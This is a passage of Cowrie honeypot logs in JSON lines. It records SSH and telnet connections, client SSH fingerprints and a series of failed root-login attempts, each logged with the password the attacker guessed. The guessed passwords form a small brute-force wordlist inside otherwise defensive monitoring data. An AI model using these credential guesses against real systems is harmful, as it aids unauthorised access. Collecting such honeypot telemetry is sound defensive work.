16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:49.396625Z","src_ip":"77.22.211.47","session":"be09e1882f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2018@","message":"login attempt [root/unitedstates2018@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:49.838963Z","src_ip":"77.22.211.47","session":"be09e1882f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:50.945617Z","src_ip":"77.22.211.47","session":"be09e1882f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46398,"dst_ip":"159.203.135.109","dst_port":22,"session":"1799ad87f123","protocol":"ssh","message":"New connection: 194.113.233.25:46398 (159.203.135.109:22) [session: 1799ad87f123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:08.170967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:08.173379Z","src_ip":"194.113.233.25","session":"1799ad87f123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:08.265997Z","src_ip":"194.113.233.25","session":"1799ad87f123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021976","message":"login attempt [root/23021976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:08.543203Z","src_ip":"194.113.233.25","session":"1799ad87f123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:09.639101Z","src_ip":"194.113.233.25","session":"1799ad87f123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":33356,"dst_ip":"159.203.135.109","dst_port":22,"session":"02dd0ee130bc","protocol":"ssh","message":"New connection: 162.241.239.202:33356 (159.203.135.109:22) [session: 02dd0ee130bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:20.520377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:20.524055Z","src_ip":"162.241.239.202","session":"02dd0ee130bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:20.546130Z","src_ip":"162.241.239.202","session":"02dd0ee130bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"popcat456","message":"login attempt [root/popcat456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:20.613946Z","src_ip":"162.241.239.202","session":"02dd0ee130bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.100.212.141","src_port":42576,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a48d538972b","protocol":"ssh","message":"New connection: 185.100.212.141:42576 (10.17.0.5:22) [session: 5a48d538972b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:20.938186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:20.941380Z","src_ip":"185.100.212.141","session":"5a48d538972b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:21.123589Z","src_ip":"185.100.212.141","session":"5a48d538972b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:21.638376Z","src_ip":"162.241.239.202","session":"02dd0ee130bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2018@1","message":"login attempt [root/unitedstates2018@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:21.673048Z","src_ip":"185.100.212.141","session":"5a48d538972b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:22.857646Z","src_ip":"185.100.212.141","session":"5a48d538972b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":35004,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ab9f44b38c9","protocol":"telnet","message":"New connection: 137.184.5.188:35004 (159.203.135.109:23) [session: 4ab9f44b38c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:23.915600Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":42604,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38384b97273","protocol":"ssh","message":"New connection: 188.92.241.150:42604 (10.17.0.5:22) [session: f38384b97273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:38.851759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:38.855283Z","src_ip":"188.92.241.150","session":"f38384b97273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:38.990475Z","src_ip":"188.92.241.150","session":"f38384b97273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"server1","message":"login attempt [server1/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:39.567247Z","src_ip":"188.92.241.150","session":"f38384b97273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:40.705595Z","src_ip":"188.92.241.150","session":"f38384b97273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":42500,"dst_ip":"159.203.135.109","dst_port":22,"session":"a190e641f008","protocol":"ssh","message":"New connection: 198.12.251.137:42500 (159.203.135.109:22) [session: a190e641f008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:53.547357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:53.551506Z","src_ip":"198.12.251.137","session":"a190e641f008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:53.616710Z","src_ip":"198.12.251.137","session":"a190e641f008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle2024","message":"login attempt [root/oracle2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:53.816791Z","src_ip":"198.12.251.137","session":"a190e641f008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:54:54.888261Z","src_ip":"198.12.251.137","session":"a190e641f008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":43198,"dst_ip":"159.203.135.109","dst_port":23,"session":"817eec10d134","protocol":"telnet","message":"New connection: 137.184.5.188:43198 (159.203.135.109:23) [session: 817eec10d134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:04.327843Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":40546,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af6e5dd4a04","protocol":"ssh","message":"New connection: 185.242.3.195:40546 (10.17.0.5:22) [session: 9af6e5dd4a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:15.805227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:15.809411Z","src_ip":"185.242.3.195","session":"9af6e5dd4a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:15.898987Z","src_ip":"185.242.3.195","session":"9af6e5dd4a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1234%^","message":"login attempt [root/qwe1234%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:16.164476Z","src_ip":"185.242.3.195","session":"9af6e5dd4a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:17.254337Z","src_ip":"185.242.3.195","session":"9af6e5dd4a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.24.146","src_port":56556,"dst_ip":"10.17.0.5","dst_port":22,"session":"17cffcfaf207","protocol":"ssh","message":"New connection: 150.95.24.146:56556 (10.17.0.5:22) [session: 17cffcfaf207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:19.491727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:19.496052Z","src_ip":"150.95.24.146","session":"17cffcfaf207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:19.792022Z","src_ip":"150.95.24.146","session":"17cffcfaf207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2018#","message":"login attempt [root/unitedstates2018#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:20.680885Z","src_ip":"150.95.24.146","session":"17cffcfaf207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":46094,"dst_ip":"159.203.135.109","dst_port":23,"session":"b252eef338be","protocol":"telnet","message":"New connection: 137.184.5.188:46094 (159.203.135.109:23) [session: b252eef338be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:21.070670Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:21.985266Z","src_ip":"150.95.24.146","session":"17cffcfaf207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.825112104415894,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:48.152877Z","src_ip":"137.184.5.188","session":"817eec10d134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.166.144.212","src_port":35340,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dc9ba6199eb","protocol":"ssh","message":"New connection: 45.166.144.212:35340 (10.17.0.5:22) [session: 6dc9ba6199eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:49.180525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:55:49.185571Z","src_ip":"45.166.144.212","session":"6dc9ba6199eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 